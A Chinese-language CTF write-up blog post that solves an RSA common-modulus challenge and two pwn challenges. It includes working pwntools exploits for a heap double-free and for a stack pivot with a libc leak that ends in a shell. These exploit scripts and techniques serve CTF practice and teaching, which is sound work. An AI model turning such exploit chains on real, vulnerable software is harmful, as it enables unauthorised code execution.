Crypto

1. easy_rsa

下载附件,内容如下:

n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

一个 n 两个 e 两个 c ,判断为 RSA 共模攻击,上脚本:

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#RSA 共模攻击脚本

from libnum import n2s, s2n
from gmpy2 import invert

# 扩展欧几里得算法
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)


def main():
  n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
  c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
  c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664
  e1 = 464857
  e2 = 190529
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1 < 0:
    s1 = - s1
    c1 = invert(c1, n)
  elif s2 < 0:
    s2 = - s2
    c2 = invert(c2, n)

  m = pow(c1, s1, n) * pow(c2, s2, n) % n
  print(n2s(m))  # 二进制转string


if __name__ == '__main__':
  main()

Pwn

Some_thing_exceting

64 位打开 Canary、NX ,菜单式程序,基本增查改功能。creat 函数内发现数据结构体,允许 size 为 1~112 :

struct Banala{
    char *ba;
    char *na
}

漏洞为 double free ,位于 delete 函数,free 后没有归零指针:

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 < 0 || v1 > 10 || !ptr[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  free(*(void **)ptr[v1]);                      // free ba
  free(*((void **)ptr[v1] + 1));                // free na


  free(ptr[v1]);                                // free struct
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

在看后门函数 read_flag() ,将 flag 读入到 bss 段,并且(15行)写入 0x60 。若假设 flag 位于某一个堆的 fd 位置, 0x60 刚好位于该堆的 size 位。

unsigned __int64 read_flag()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 96;                             // chunk size
  fgets(s, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}

利用思路:double free 让某一个堆既处于 fastbin 又是被分配状态。修改该堆 fd 指针,重新分配相同大小堆,用程序 view 函数读出。

完整 exp 如下:

最后一轮申请堆使用的是0x20 是因为修改了堆数据,申请其他大小会报错,所以就用 fastbin 中剩下的堆,gdb 查一下就看到了剩下 0x20 ,所以用 0x20 。

#coding:utf-8
from pwn import *

context.log_level = 'debug'
p = process("./excited")

def creat(ba_len,ba,na_len,na):
    p.recvuntil("want to do :")
    p.sendline("1")

    p.recvuntil("length :")
    p.sendline(str(ba_len))
    p.recvuntil("ba :")
    p.sendline(ba)

    p.recvuntil("length :")
    p.sendline(str(na_len))
    p.recvuntil("na :")
    p.sendline(na)

def delete(id):
    p.recvuntil("want to do :")
    p.sendline("3")

    p.recvuntil("ID :")
    p.sendline(str(id))

def view(id):
    p.recvuntil("want to do :")
    p.sendline("4")

    p.recvuntil("ID :")
    p.sendline(str(id))

creat(0x50,'a'*0x50,0x50,'b'*0x50)//被double free chuck
creat(0x50,'c'*0x50,0x50,'d'*0x50)//用于隔开double free chunk
creat(0x50,'e'*0x50,0x50,'f'*0x50)//防止上面两个chunk free 与top chunk合并

delete(0)
delete(1)//间隔
delete(0)//double free


creat(0x50,p64(0x06020A8-0x10)*10,0x50,p64(0x06020A8-0x10)*10)//edit chunk1 fd to flag
creat(0x50,'',0x50,'')
creat(0x50,'',0x20,'')
view(5)
p.interactive()

还有点不清楚的就是:完成 double free 后申请堆的时候,使用 fastbin 的顺序很奇怪。具体点说:每轮 free fastbin 会增加 1 个 0x20 、2 个 0x60 chunk 。但是最终 free 3 轮后有 4 个 0x20 、6 个 0x60 。紧接着第一轮申请使用的是第三轮和第二轮各一个 0x60 。最后我是每申请一次就调试一次,看每次申请的是那块 chunk。

这里搞了很久,各位师傅知道的告诉一下。

borrowstack

64 位栈迁移

from pwn import *

context.log_level = 'debug'
p = process("./borrowstack")
elf = ELF("./borrowstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bank = 0x601080
pop_rdi = 0x400703
leave = 0x400699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
one_gadget = 0xf02a4

payload_0 = 'a'*0x60
payload_0 += p64(bank+0x90) + p64(leave)
p.recvuntil('want')
p.send(payload_0)

pay='\0'*0x90+p64(bank+0x60)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pay+=p64(0x0400680)
p.sendafter('now!\n',pay)

libc_base=u64(p.recv(6)[:].ljust(8,'\0'))-libc.symbols['puts']
info("one:"+hex(libc_base+one_gadget))

pay='a'*0x60+p64(0xdeadbeef)+p64(one_gadget+libc_base)
p.sendline(pay)

p.interactive()
Last modification:April 16th, 2020 at 02:00 pm